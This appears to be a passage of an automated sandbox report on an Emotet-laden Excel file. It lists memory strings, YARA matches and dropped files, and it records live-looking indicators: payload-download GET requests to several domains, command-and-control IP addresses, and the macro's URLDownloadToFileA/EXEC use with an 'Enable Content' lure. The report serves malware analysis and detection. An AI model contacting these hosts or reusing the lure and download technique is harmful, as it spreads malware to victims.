Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000007.00000002.1197037666.0000000000429000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000007.00000002.1197206836.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.7.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000007.00000002.1197029726.0000000000420000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000007.00000002.1197000736.00000000003F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://165.22.254.68/
Source: regsvr32.exe, 00000007.00000002.1197000736.00000000003F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://165.22.254.68/O
Source: regsvr32.exe, 00000007.00000002.1196956196.00000000003AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://198.199.70.22/080/F
Source: regsvr32.exe, 00000007.00000002.1196956196.00000000003AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://198.199.70.22/B
Source: regsvr32.exe, 00000007.00000002.1197037666.0000000000429000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://198.199.70.22:8080/a
Source: regsvr32.exe, 00000007.00000002.1197037666.0000000000429000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://198.199.70.22:8080/e
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Jump to behavior
Source: unknown DNS traffic detected: queries for: www.zardamarine.com
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180005610 InternetReadFile, 7_2_0000000180005610
Source: global traffic HTTP traffic detected: GET /images/psQbAjrrEOXWPrS/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.zardamarine.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /tr/68yHRhfuU7Qj/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kronostr.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cgi-bin/Rea3Iu3wGvgAbTset0/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: labfitouts.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 208.67.23.91:443 -> 192.168.2.22:49171 version: TLS 1.2

E-Banking Fraud
barindex
Source: Yara match File source: 00000007.00000002.1196956196.00000000003AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Yara detected Emotet
Source: Yara match File source: 7.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.926408860.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1197465713.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.924980552.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1196882539.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 7.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 7.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 6.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 6.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 6.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 6.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 7.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 7.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 00000006.00000002.926408860.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000006.00000002.926408860.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 00000007.00000002.1197465713.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000007.00000002.1197465713.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 00000006.00000002.924980552.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000006.00000002.924980552.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Source: 00000007.00000002.1196882539.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000007.00000002.1196882539.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 Author: unknown
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4 Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
Source: Screenshot number: 8 Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 Gb 9 10 11 12 13 14 15 1
Source: Screenshot number: 8 Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 Gb 9 10 11 12 13 14 15 16 17 18 19 20 21 22
Source: Document image extraction number: 0 Screenshot OCR: Enable Editing and click Enable Content.
Source: Document image extraction number: 0 Screenshot OCR: Enable Content.
Source: Document image extraction number: 1 Screenshot OCR: Enable Editing and click Enable Content.
Source: Document image extraction number: 1 Screenshot OCR: Enable Content.
Found malicious Excel 4.0 Macro
Source: documentazione 68668.xls Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: documentazione 68668.xls Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\wdusx2.ocx Jump to dropped file
Found Excel 4.0 Macro with suspicious formulas
Source: documentazione 68668.xls Initial sample: EXEC
Source: documentazione 68668.xls Initial sample: EXEC
Yara signature match
Source: documentazione 68668.xls, type: SAMPLE Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: 7.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 7.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 6.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 6.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 6.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 6.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 7.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 7.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 00000006.00000002.926408860.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000006.00000002.926408860.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 00000007.00000002.1197465713.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000007.00000002.1197465713.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 00000006.00000002.924980552.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000006.00000002.924980552.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: 00000007.00000002.1196882539.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000007.00000002.1196882539.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_d6ac1ea4 reference_sample = 2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71, os = windows, severity = x86, creation_date = 2022-05-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2, id = d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3, last_modified = 2022-06-09
Source: C:\Users\user\Desktop\documentazione 68668.xls, type: DROPPED Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Creates files inside the system directory
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\system32\LxvynAbdjmnUIIL\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00290000 6_2_00290000
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180026C08 6_2_0000000180026C08
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180027418 6_2_0000000180027418
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180026450 6_2_0000000180026450
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180017088 6_2_0000000180017088
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180007E9C 6_2_0000000180007E9C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022D14 6_2_0000000180022D14
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180010D28 6_2_0000000180010D28
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020760 6_2_0000000180020760
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000ADA0 6_2_000000018000ADA0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800073E8 6_2_00000001800073E8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800105EC 6_2_00000001800105EC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800023EC 6_2_00000001800023EC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000EFEC 6_2_000000018000EFEC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001F1F0 6_2_000000018001F1F0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180023FF4 6_2_0000000180023FF4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022FF4 6_2_0000000180022FF4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001EFF4 6_2_000000018001EFF4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800021F4 6_2_00000001800021F4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180005BFC 6_2_0000000180005BFC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001EC00 6_2_000000018001EC00
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001A00 6_2_0000000180001A00
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001000 6_2_0000000180001000
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180010C08 6_2_0000000180010C08
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180025E0C 6_2_0000000180025E0C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180014C0C 6_2_0000000180014C0C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180005610 6_2_0000000180005610
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180019414 6_2_0000000180019414
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000BA14 6_2_000000018000BA14
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180024618 6_2_0000000180024618
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001421C 6_2_000000018001421C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000381C 6_2_000000018000381C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000F630 6_2_000000018000F630
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001DA38 6_2_000000018001DA38
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001363C 6_2_000000018001363C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180024C44 6_2_0000000180024C44
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180023448 6_2_0000000180023448
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180009248 6_2_0000000180009248
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001984C 6_2_000000018001984C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020050 6_2_0000000180020050
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012250 6_2_0000000180012250
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180017E50 6_2_0000000180017E50
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180008858 6_2_0000000180008858
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180026860 6_2_0000000180026860
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002666C 6_2_000000018002666C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180013470 6_2_0000000180013470
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001E070 6_2_000000018001E070
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180011270 6_2_0000000180011270
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180008470 6_2_0000000180008470
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180018074 6_2_0000000180018074
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000E474 6_2_000000018000E474
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001D678 6_2_000000018001D678
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180021C80 6_2_0000000180021C80
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180005080 6_2_0000000180005080
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180006A80 6_2_0000000180006A80
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000B880 6_2_000000018000B880
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000E880 6_2_000000018000E880
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022284 6_2_0000000180022284
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180009488 6_2_0000000180009488
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D288 6_2_000000018000D288
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020C8C 6_2_0000000180020C8C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000CA8C 6_2_000000018000CA8C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D490 6_2_000000018000D490
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001A094 6_2_000000018001A094
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000EC98 6_2_000000018000EC98
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800212A0 6_2_00000001800212A0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800256A0 6_2_00000001800256A0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800048A0 6_2_00000001800048A0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D6A4 6_2_000000018000D6A4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800224A8 6_2_00000001800224A8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001EAC 6_2_0000000180001EAC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180002EB0 6_2_0000000180002EB0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001EABC 6_2_000000018001EABC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180016EC0 6_2_0000000180016EC0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000CEC0 6_2_000000018000CEC0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001A4D0 6_2_000000018001A4D0
